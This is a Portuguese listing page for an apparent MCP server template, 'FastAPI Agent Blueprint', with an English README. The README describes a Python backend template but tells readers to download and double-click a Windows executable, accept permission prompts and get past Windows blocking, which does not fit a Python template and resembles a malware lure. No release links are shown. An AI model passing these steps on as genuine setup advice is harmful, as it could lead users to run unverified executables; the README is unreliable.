FastAPI Agent Blueprint
lannyfervent952/fastapi-agent-blueprint
Arquitetura pronta para agentes FastAPI com menos setup
Ver no GitHubMCP Server que fornece uma arquitetura pronta para construir agentes de IA com FastAPI, incluindo padrões de domain-driven design, injeção de dependência e suporte a RAG. Oferece estrutura escalável com camadas de interface, domínio, dados e IA, reduzindo boilerplate no desenvolvimento de backends inteligentes.
Instalação
npx convez-ai lannyfervent952/fastapi-agent-blueprint1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Construir backends de agentes de IA com estrutura robusta
- Implementar fluxos CRUD com busca vetorial e PostgreSQL
- Organizar código em camadas (domain-driven design) para manutenibilidade
- Desenvolver aplicações RAG com injeção de dependência automática
Veredito

Blueprint sólido para quem quer iniciar backends de agentes FastAPI sem montar arquitetura do zero. Estrutura opinada e bem organizada, mas requer familiaridade com FastAPI, SQLAlchemy e concepts de domain-driven design para máximo aproveitamento.
README
A tradução para o português deste README ainda está na fila.
🧩 fastapi-agent-blueprint - Build AI backends with less setup
📥 Download
Visit this page to download the Windows release:
🪟 Windows setup
- Open the release page in your browser.
- Download the latest Windows file from the Assets section.
- If the file is in a .zip archive, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start it.
- If Windows asks for permission, choose Yes.
- Wait for the app to load in your browser or desktop window.
- Keep the folder in a safe place so you can open it again later
🔍 What this app is for
fastapi-agent-blueprint is a starter project for AI agent backends. It gives you a working base for apps that need:
- a web server for requests
- data saved in a database
- simple create, read, update, and delete flows
- search across text and vector data
- a clean structure for separate app parts
- support for agent tools and AI tasks
It is built for people who want to start from a ready-made base instead of assembling everything by hand
⚙️ What you get
- FastAPI app structure
- Domain-driven design layout
- Dependency injection setup
- Database layer with SQLAlchemy
- PostgreSQL support
- Vector search support with pgvector
- Auto domain discovery
- CRUD scaffolding
- RAG-ready data flow
- Pydantic models for data checks
- Hooks for Claude Code and Codex CLI
- AI skill folders for agent work
- Interface options for different app layers
🖥️ System needs
Use a Windows PC with:
- Windows 10 or newer
- 4 GB RAM or more
- 500 MB free disk space
- Internet access for the first download
- A modern browser such as Edge, Chrome, or Firefox
If you plan to connect the app to a database, you will also need:
- PostgreSQL
- a database user
- a database name
- access to a local or remote server
📦 Files you may see
After you download the release, you may find files like:
.exefor Windows launch.zipfor packaged files.envfor app settingsREADMEfor setup help- folders for app code, skills, and data models
If you see a .zip file, extract it before you open the app
🛠️ First run steps
- Download the latest release from the page above.
- Extract the files if the download came as a zip.
- Open the main app folder.
- Find the Windows app file.
- Double-click it.
- Let Windows finish its security check.
- Wait until the app starts.
- Open the local address shown by the app, if one appears
🧱 How the project is organized
The blueprint uses clear parts so each piece has one job:
- Interface layer: handles user requests
- Domain layer: holds app rules
- Data layer: talks to the database
- AI layer: handles agent tasks and model calls
- Skill layer: stores reusable agent actions
This layout helps keep the app easy to extend and easier to read later
🔎 Main features in plain terms
🚀 Fast API base
The app gives you a FastAPI structure so you can build a web backend with less setup work
🗂️ Zero-boilerplate CRUD
You can create and manage data records without writing the same code over and over
🧭 Auto domain discovery
The app can find domain parts on its own, which reduces manual wiring
🧠 AI agent support
The project is shaped for agent backends, so it fits tools that call models and use functions
🔗 Vector search support
It can store and search vectors, which helps with semantic search and retrieval tasks
🧩 DDD structure
The domain-driven design setup keeps app rules in clear places instead of mixing them into one file
🛡️ Strong data handling
Pydantic and SQLAlchemy help keep input data clean and database work organized
📂 Suggested next steps after launch
- Open the app in your browser if it starts a local server
- Check the settings file for database details
- Connect PostgreSQL if you want stored data
- Add your own domain folders
- Create new skills for agent tasks
- Test one small request before adding more features
🧪 Basic usage flow
- Start the app.
- Open the local web address.
- Send a request or open the built-in route.
- Connect the database if your feature needs saved data.
- Add new domain parts as your app grows.
- Use the vector search layer for retrieval tasks.
- Use the agent skill folders for repeatable actions
🧰 AI and agent tools
This template is built with AI workflows in mind. It works well for:
- Claude Code
- Codex CLI
- agent task runners
- retrieval-based apps
- backend tools that need structured actions
The included skills and interface layers help keep agent work clean and repeatable
🗃️ Database support
The project uses PostgreSQL with SQLAlchemy and pgvector. This lets you:
- store app records
- save AI embeddings
- run vector search
- organize data by domain
- keep database work separate from app logic
🔌 Interface types
The blueprint includes 3 interface types for different ways to reach your code:
- web request handlers
- service access points
- agent-facing entry points
This makes it easier to connect the same logic to different kinds of clients
🧪 Common issues
The app does not open
- Check that the download finished
- Make sure you extracted the zip file
- Try running the app again as a normal user
- Check whether Windows blocked the file
The browser does not show the app
- Wait a few more seconds
- Look for a local address in the app window
- Refresh the page
- Close and reopen the app
Database connection fails
- Check the host name
- Check the user name and password
- Make sure PostgreSQL is running
- Confirm the database name is correct
- Check that the server allows connections
Vector search does not work
- Make sure pgvector is enabled
- Check that the database has the right extension
- Confirm your records include vector data
📁 Topics covered by this project
- AI agent backends
- asynchronous apps
- backend templates
- boilerplate reduction
- Claude Code support
- Codex CLI support
- domain-driven design
- dependency injection
- FastAPI
- PostgreSQL
- pgvector
- Pydantic
- Python
- retrieval-augmented generation
- SQLAlchemy
- vector databases
📌 Release link
Get the Windows download from the release page: